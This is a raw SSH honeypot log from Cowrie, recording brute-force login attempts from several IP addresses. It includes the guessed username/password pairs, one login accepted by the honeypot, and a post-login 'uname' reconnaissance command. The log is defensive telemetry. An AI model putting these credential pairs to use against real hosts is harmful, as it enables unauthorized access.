{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:a8:e4:fe:a1:d8:68:f5:c2:4f:db:b0:b8:bf:93:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu+aRbrol8ZMpyyWBkILYe/OmLrPSxY1INNL593RUiHsKomO3aWmMprOwD0wvjfuybBKCK/Fh3CP5aeBVd5trUIJV7RW0cnKcY/25aLTivGfAILoc3G8Z6ijslFRrXPvpyTmAGKul+CZ+mmSqGKXMNQCUGqOm5/t8W++dTYYqS7dauQt+KF/uRpNdamzZt+687DlXaeBUJg5mWzsPahhyLTpLSjfWXj7JuDuw/T9l3y3L/dWMyWT4uT+xdW/dZdytAkpZE6x/q/8jwrFpJvdSRTsdnzUA3MiH+KpXQ4TDiHyBog65UyIc4Ia5Bce98TH6I7Dijer1gIP09Tlfs31IDn4eQyee0BnLBVnX8/v9ft3L6gZYq++EDrCEnM0fC44g9QzVSioyloGn6J3ClMaYwOLAwKWlgW8BgtuZ4qCUcOheamo6pJyir/st95YBQs5/BZdnKjqEt8xvovZJkEd8seZptlYGZTrzo/f3v53ICtds6f95SsrItLUOxRlm23Q4Xh4CD/i4SJOal4GS/aWGbJgxc6KkaScS7b7krCQLuj1dRhcfWZzURZPpwO10ETOErdgx/OhXFAHTzw6/8olg4+uq6bIzJPq/GYIWBUNA1asleCzFoCzK/+09v2Et1ePfFPfHOgG7rbJuHipTWa6bVyYco+td9fhbuK+ituZx6OQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.599045Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:21:dd:ab:c0:0c:50:2b:18:d6:52:2a:ce:13:a9:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmYI6t09nmVClMl8+kk5YLAcK7nIyOl469n+E/2etpYm7zBU6x6bcaeduZs3uT4zwAWPyrBJIenrAZgJTZ0HBFPodOkqI/mwosP0KA8rKjE1nwadslFs5EJgJWNXb5YEMYI84UoEx6uUsyDOxRkXar2Vhi9MXrBop7EQC9FvuHmuh6GePDODcwilDIRTuTvvFLUIgcp1leak6gwzHaac0I5qk+MP5UvdQLra4/nYSVhjGyXVRlR+sxbDaTqtAl8pQuDxDqDZuvaevyqPamwr1s5iogNLJH/+qcaJIrUchFJ0KFx87i+zdsxKTHayEyY5t9lhNUVfGqgHH8qGCYp6Pz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:21:dd:ab:c0:0c:50:2b:18:d6:52:2a:ce:13:a9:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.682605Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:21:dd:ab:c0:0c:50:2b:18:d6:52:2a:ce:13:a9:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmYI6t09nmVClMl8+kk5YLAcK7nIyOl469n+E/2etpYm7zBU6x6bcaeduZs3uT4zwAWPyrBJIenrAZgJTZ0HBFPodOkqI/mwosP0KA8rKjE1nwadslFs5EJgJWNXb5YEMYI84UoEx6uUsyDOxRkXar2Vhi9MXrBop7EQC9FvuHmuh6GePDODcwilDIRTuTvvFLUIgcp1leak6gwzHaac0I5qk+MP5UvdQLra4/nYSVhjGyXVRlR+sxbDaTqtAl8pQuDxDqDZuvaevyqPamwr1s5iogNLJH/+qcaJIrUchFJ0KFx87i+zdsxKTHayEyY5t9lhNUVfGqgHH8qGCYp6Pz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.686200Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.768924Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":45006,"dst_ip":"159.203.135.109","dst_port":22,"session":"172ace583d93","protocol":"ssh","message":"New connection: 45.153.34.114:45006 (159.203.135.109:22) [session: 172ace583d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:26.441644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:26.446049Z","src_ip":"45.153.34.114","session":"172ace583d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:26.533702Z","src_ip":"45.153.34.114","session":"172ace583d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@1234","message":"login attempt [test/test@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:26.793907Z","src_ip":"45.153.34.114","session":"172ace583d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":60468,"dst_ip":"159.203.135.109","dst_port":22,"session":"c902b560562d","protocol":"ssh","message":"New connection: 103.75.199.4:60468 (159.203.135.109:22) [session: c902b560562d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.096436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.100687Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.194740Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.468219Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.684673Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.687506Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.780815Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.785243Z","src_ip":"103.75.199.4","session":"c902b560562d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:27.886467Z","src_ip":"45.153.34.114","session":"172ace583d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39458,"dst_ip":"159.203.135.109","dst_port":22,"session":"00484d972627","protocol":"ssh","message":"New connection: 45.153.34.114:39458 (159.203.135.109:22) [session: 00484d972627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:34.992296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:34.997325Z","src_ip":"45.153.34.114","session":"00484d972627","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:35.080237Z","src_ip":"45.153.34.114","session":"00484d972627","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1","message":"login attempt [admin1/admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:35.374012Z","src_ip":"45.153.34.114","session":"00484d972627","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:36.459556Z","src_ip":"45.153.34.114","session":"00484d972627","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":22566,"dst_ip":"159.203.135.109","dst_port":22,"session":"a35f4f41eeb3","protocol":"ssh","message":"New connection: 213.209.159.56:22566 (159.203.135.109:22) [session: a35f4f41eeb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:37.956915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:37.961883Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:38.044309Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn","message":"login attempt [kirstyn/kirstyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:38.443137Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn1","message":"login attempt [kirstyn/kirstyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:39.528636Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn123","message":"login attempt [kirstyn/kirstyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:40.613674Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn1234","message":"login attempt [kirstyn/kirstyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:41.698370Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirstyn","password":"kirstyn12345","message":"login attempt [kirstyn/kirstyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:42.785009Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59904,"dst_ip":"159.203.135.109","dst_port":22,"session":"03a7806b675f","protocol":"ssh","message":"New connection: 45.153.34.114:59904 (159.203.135.109:22) [session: 03a7806b675f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:43.201106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:43.209415Z","src_ip":"45.153.34.114","session":"03a7806b675f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:43.379655Z","src_ip":"45.153.34.114","session":"03a7806b675f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:43.700534Z","src_ip":"45.153.34.114","session":"03a7806b675f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:43.869202Z","src_ip":"213.209.159.56","session":"a35f4f41eeb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:44.787486Z","src_ip":"45.153.34.114","session":"03a7806b675f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":55794,"dst_ip":"159.203.135.109","dst_port":22,"session":"707b15dd420f","protocol":"ssh","message":"New connection: 103.75.199.4:55794 (159.203.135.109:22) [session: 707b15dd420f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:48.965595Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:48.968995Z","src_ip":"103.75.199.4","session":"707b15dd420f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:49.059149Z","src_ip":"103.75.199.4","session":"707b15dd420f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:49.331678Z","src_ip":"103.75.199.4","session":"707b15dd420f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:50.427363Z","src_ip":"103.75.199.4","session":"707b15dd420f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":47290,"dst_ip":"159.203.135.109","dst_port":22,"session":"a412b9e9d1e7","protocol":"ssh","message":"New connection: 45.153.34.114:47290 (159.203.135.109:22) [session: a412b9e9d1e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:51.310081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:51.313855Z","src_ip":"45.153.34.114","session":"a412b9e9d1e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecds